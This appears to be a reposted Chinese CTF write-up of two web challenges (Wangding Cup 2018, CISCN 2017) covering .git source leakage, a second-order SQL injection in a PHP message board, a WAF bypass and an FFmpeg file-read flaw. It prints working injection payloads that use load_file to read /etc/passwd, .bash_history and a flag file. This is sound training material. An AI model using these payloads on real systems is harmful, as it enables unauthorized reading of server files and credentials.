一:网鼎杯2018线上赛
首先:使用BurpSuite自带的Intruder模块爆破密码后3字节
漏洞一:通过git目录泄露还原出应用源代码
python GitHacker.py http://ffd1ae28-f0e2-41c3-9522-ce58080f91e6.node3.buuoj.cn/.git/#链接为有git泄露的链接
查看日志
git log --relog
还原文件
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
漏洞二:二次注入提取文件
',content=(select(load_file("/etc/passwd"))),/*
',content=(select(load_file("/home/www/.bash_history"))),/*
',content=(select(load_file("/tmp/html/.DS_Store"))),/*
',content=(select(load_file("/tmp/html/.DS_Store"))),/*
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
二:CISCN 2017
漏洞一:使用内联注释绕过SQL注入WAF
漏洞二:FFMPEG任意文件读取
1.利用注入得到的用户名和密码登录管理员账号,发现在管理员页面存在一个视频格式转化的功能,猜测题目的考查内容是FFMPEG的任意文件读取漏洞。
2.利用已知的exploit脚本生成恶意AVI文件并上传,下载转化后的视频,播放视频可发现能成功读取到文件内容(/etc/passwd)。
3.根据/etc/passwd的文件内容,发现存在名为s0m3b0dy的用户,猜测flag在其用户目录下,即/home/s0m3b0dy/flag(.txt);继续通过FFMPEG文件读取漏洞读取flag,发现成功获得flag。
———————————————
转载于:
https://blog.csdn.net/aa2528877987/article/details/119532090
原文始发于微信公众号(网络安全学习爱好者):CTFer成长之路-任意文件读取漏洞-文件读取漏洞常见读取路径(SQL二次注入)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论